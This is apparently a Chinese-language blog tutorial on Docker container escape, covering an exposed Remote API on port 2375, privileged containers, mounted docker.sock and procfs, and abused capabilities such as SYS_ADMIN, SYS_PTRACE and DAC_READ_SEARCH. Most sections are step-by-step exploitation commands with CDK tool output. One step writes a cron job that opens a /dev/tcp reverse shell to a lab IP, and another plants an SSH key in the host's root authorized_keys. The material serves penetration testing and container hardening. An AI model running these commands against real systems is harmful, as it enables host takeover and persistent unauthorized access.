Docker逃逸

Docker逃逸

0x01 判断是否是docker环境

  • 检查/.dockerenv文件是否存在
  • 检查/proc/1/cgroup内是否包含docker等字符串。

image-20211102211340974

0x02 Docker Remote API未授权访问漏洞

背景知识

Docker Remote API 是一个取代远程命令行界面的REST API,docker swarm是docker下的分布化应用的本地集群,在开放2375监听集群容器时,会调用这个api,因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell

docker守护进程监听在0.0.0.0,外网可访问

  1. dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
  2. docker守护进程监听在0.0.0.0,外网可访问
  3. 没有使用iptable等限制可连接的来源ip。

检验方法:2375端口

下面命令运行docker造成漏洞

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

image-20220803151455075

查看镜像

如果不存在则如下:

image-20220803155655828

存在则如下:

docker -H tcp://192.168.144.92:2375 images

image-20220803151612115

手工利用:写计划任务和写公私钥

将该宿主机的根目录挂在到容器的/mnt目录下

docker -H tcp://192.168.144.92:2375 run -it -v /:/mnt 458575a05d97 /bin/bash

然后写计划任务和写公私钥

计划任务
echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.144.91/6666 0>&1' >> /mnt/var/spool/cron/crontabs/root


公私钥
cd /mnt/root/
mkdir .ssh
cd .ssh/
echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqAVtXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXJYUk= root@user >> authorized_keys

image-20220803154103412

成功使用公私钥免密登陆

image-20220803154336699

0x03 特权模式

背景知识

在特权模式下,容器拥有所有权利,包括宿主机的一些内核特性和设备访问等

所以在特权模式下,我们可以通过mount目录挂载至主机的硬盘内,让目录成为设备的访问点,实现文件系统层面的逃逸

以特权模式运行一个容器

docker run -it --privileged -d --name vulhub_tomcat vulhub/tomcat:8.0

image-20211102195342895

进入容器docker exec -it a740b2330d09 /bin/bash

检验方法: 0000003fffffffff

第一种grep CapEff /proc/self/status

如果结果是0000003fffffffff,则是在特权模式下

image-20220802204651478

如果不是,则非特权模式启动

image-20220802204811304

第二种fdisk -l

特权模式下输出下面内容

image-20220802205117364

不以特权模式启动容器做比较,发现输入fdisk -l查询磁盘时,没有结果返回。

image-20211102200157341

手工利用:计划任务和公私钥

将/dev/vda2磁盘挂载到容器里的某个文件夹里

root@a740b2330d09:/usr/local/tomcat# mkdir /abc
root@a740b2330d09:/usr/local/tomcat# mount /dev/vda2 /abc
root@a740b2330d09:/usr/local/tomcat# ls /abc

image-20211102195625796

再往/abc目录下文件

root@a740b2330d09:/usr/local/tomcat# echo 111 > /abc/root/11111111

image-20211102195734091

成功将文件写入进去

image-20211102195817878

这样也就成功的从容器中逃逸至外部宿主机

后续同样通过写计划任务或者公私钥获取宿主机权限

CDK检测和利用

检测命令

./cdk_linux_amd64_upx evaluate --full

image-20220802212456919

利用命令

root@95a5e37d4649:/tmp# ./cdk_linux_amd64_upx run mount-disk
{
  "device": "/dev/sda5",
  "mountpoint": "/etc/resolv.conf",
  "fstype": "ext4",
  "opts": [
    "rw",
    "relatime",
    "bind"
  ]
}
{
  "device": "/dev/sda5",
  "mountpoint": "/etc/hostname",
  "fstype": "ext4",
  "opts": [
    "rw",
    "relatime",
    "bind"
  ]
}
{
  "device": "/dev/sda5",
  "mountpoint": "/etc/hosts",
  "fstype": "ext4",
  "opts": [
    "rw",
    "relatime",
    "bind"
  ]
}
{
  "device": "/dev/sda1",
  "mountpoint": "/abc",
  "fstype": "vfat",
  "opts": [
    "rw",
    "relatime"
  ]
}
2022/08/02 13:25:43 found 2 devices in total.
success! device /dev/sda5 was mounted to /tmp/cdk_KBEv3

success! device /dev/sda1 was mounted to /tmp/cdk_YAPBg

root@95a5e37d4649:/tmp# ls /tmp/cdk_KBEv3/
bin  boot  cdrom  dev  etc  home  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  tmp  usr  var

成功的挂在了宿主机的文件,逃逸了出来。后续可以通过写计划任务或者公私钥获取宿主机的权限。

image-20220802212815323

0x04 Docker.sock挂载到了容器里

背景知识

docker是C/S架构,输入docker version命令实际上是通过客户端将请求发送到同一台电脑上的Doceker Daemon服务,由Docker Daemon返回信息,客户端收到信息后展示在控制台上。

Doceker Daemon默认监听的是/var/run/docker.sock这个文件,所以docker客户端只要把请求发往这里,daemon就能收到并且做出响应。也就是向/var/run/docker.sock发送请求,也能达到docker psdocker images ls这样的效果。

将/var/run/目录挂在到容器里

宿主机的/var/run目录下有docker.sock文件

image-20211102213429685

当将docker.sock文件所在的目录挂在到了容器里时

docker run -it -v /var/run/:/host/var/run/ -d --name vulhub_tomcat2 vulhub/tomcat:8.0

image-20211102201605630

检验方法: docker.sock

查看当前容器里是否能找到docker.sock

find / -name docker.sock

image-20211102213820584

手工利用:计划任务和公私钥

既然宿主机将docker.sock挂载到了容器里,那么要在容器里先安装docker apt install docker.io

image-20211102213109602

安装成功了

image-20211102212954432

查看宿主机Docker信息 docker -H unix:///host/var/run/docker.sock info

image-20211102214014112

运行一个新容器并挂载宿主机根路径,可以看到容器的id变了。此时已经进入到了新的容器里。

同时在新容器/aa路径就能访问宿主机的根目录了

docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash

image-20211102214316471

成功的将内容写进了宿主机里

image-20211102214512755

后续同样可以写计划任务或者公私钥获取宿主机权限

CDK检测和利用

./cdk_linux_amd64_upx evaluate --full

image-20220802214432345

检测

./cdk_linux_amd64_upx run docker-sock-check <sock-path>
./cdk_linux_amd64_upx run docker-sock-check /host/var/run/docker.sock

image-20220802214541184

利用

./cdk_linux_amd64_upx run docker-sock-pwn <sock_path> <shell_cmd>
./cdk_linux_amd64_upx run docker-sock-pwn /host/var/run/docker.sock whoami

image-20220802214611011

image-20220802214631885

0x05 procfs挂载到了容器里

背景知识

linux中的/proc目录是一个伪文件系统,其中动态反应着系统内进程以及其他组件的状态,其中包含许多的敏感文件,其中/proc/sys/kernel/core_pattern文件是负责进程奔溃时内存数据转储的,当第一个字符是|管道符时,后面的的部分会以命令行的方式进行解析并运行。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。此时就可以在挂载了procfs的容器中利用core_pattern后门实现容器逃逸。

将procfs挂载到容器里

docker run -it -v /proc:/mnt/proc -d --name vulhub_tomcat3 vulhub/tomcat:8.0

image-20220803162654152

检验方法: proc

执行如下命令,如果返回的是Yes则说明当前是挂载了procfs,如果返回的是No则不是。

find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Yes" || echo "No"

image-20220803162739299

找到挂在的路径是/mnt/proc

find / -name core_pattern

image-20220803164310060

CDK检测和利用

cdk run mount-procfs <proc-dir> "<shell-cmd>"

./cdk_linux_amd64_upx run mount-procfs /mnt/proc "touch /tmp/test_procfs"

image-20220803164421323

成功逃逸到宿主机

image-20220803164444879

0x06 SYS_ADMIN权限滥用

Rewrite Cgroup(devices.allow)管理宿主机文件

背景知识

该漏洞将宿主机cgroup目录挂载到容器内,随后劫持宿主机cgroup的release_agent文件,通过linux cgroup notify_on_release机制触发shellcode执行,完成逃逸。

重写当前容器内的 /sys/fs/cgroup/devices/devices.allow,逃逸特权容器访问宿主机内的文件。

使用SYS_ADMIN Linux功能运行

该逃逸方法不需要完全的特权模式运行容器,只需要满足:

  1. 以root用户身份在容器内运行
  2. 使用SYS_ADMIN Linux功能运行
  3. 缺少AppArmor配置文件,否则将允许mountsyscall
  4. cgroup v1虚拟文件系统必须以读写方式安装在容器内
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined -d --name vulhub_tomcat4 vulhub/tomcat:8.0

CDK检测和利用

./cdk_linux_amd64_upx evaluate --full

image-20220803200010352

./cdk_linux_amd64_upx run rewrite-cgroup-devices
debugfs -w cdk_mknod_result
ls -l /root/.ssh

image-20220803202021530

0x07 CAP_DAC_READ_SEARCH权限滥用

背景知识

以root身份运行容器不是很安全,root拥有全部的权限,因此很危险,如果以非root身份运行容器那么将处处受,所以需要一种技术,能选择容器运行所需的root用户权限。

靶场命令

docker run -it --cap-add DAC_READ_SEARCH -d --name vulhub_tomcat5 vulhub/tomcat:8.0

CDK检测和利用

检测

./cdk_linux_amd64_upx evaluate --full

image-20220803203409115

利用

./cdk_linux_amd64_upx run cap-dac-read-search 文件名
./cdk_linux_amd64_upx run cap-dac-read-search /etc/hosts
./cdk_linux_amd64_upx run cap-dac-read-search /etc/passwd

image-20220803203536562

似乎只能读文件

0x08 SYS_MODULE 权限滥用

靶场命令

docker run -it --cap-add SYS_MODULE --name=docker_escape ubuntu:latest /bin/bash

CDK检测

image-20220803205315965

利用 反弹shell

反弹shell利用文章:https://www.modb.pro/db/423144

image-20220803210401456

0x09 SYS_PTRACE权限滥用

背景知识

当容器需要调试测试时就需要添加PTRACE权限,我们就可以利用这一权限进行进程代码注入

靶场命令

docker run -it --cap-add SYS_PTRACE --pid=host --security-opt apparmor=unconfined -d --name vulhub_tomcat7 vulhub/tomcat:8.0

手工利用

通过shellcode获取权限

https://www.modb.pro/db/423144

image-20220803210326829

CDK检测

image-20220803205924980

./cdk_linux_amd64_upx run check-ptrace

image-20220803210111945

0x10 lxcfs

背景知识

首先简单介绍一下lxcfslxcfs 是一个开源的 FUSE(用户态文件系统)实现来支持 LXC 容器,它也可以支持 Docker 容器。让容器内的应用在读取内存和 CPU 信息的时候通过 lxcfs 的映射,转到自己的通过对 cgroup 中容器相关定义信息读取的虚拟数据上

首先在宿主机上安装lxcfs,修改/var/lib/lxcfs权限

apt install lxcfs
lxcfs /var/lib/lxcfs

image-20220803211318487

靶场命令

docker run -it -v /var/lib/lxcfs/:/test/lxcfs -d --name vulhub_tomcat8 vulhub/tomcat:8.0

CDK检测和利用

image-20220803211438588

./cdk_linux_amd64_upx run lxcfs-rw
debugfs -w host_dev

image-20220803211556701

0x11 参考链接

https://www.anquanke.com/post/id/179623
https://www.cnblogs.com/xiaozi/p/13423853.html
https://www.cdxy.me/?p=840
https://www.modb.pro/db/423145
https://www.modb.pro/db/423144

   转载规则


《Docker逃逸》 ske 采用 知识共享署名 4.0 国际许可协议 进行许可。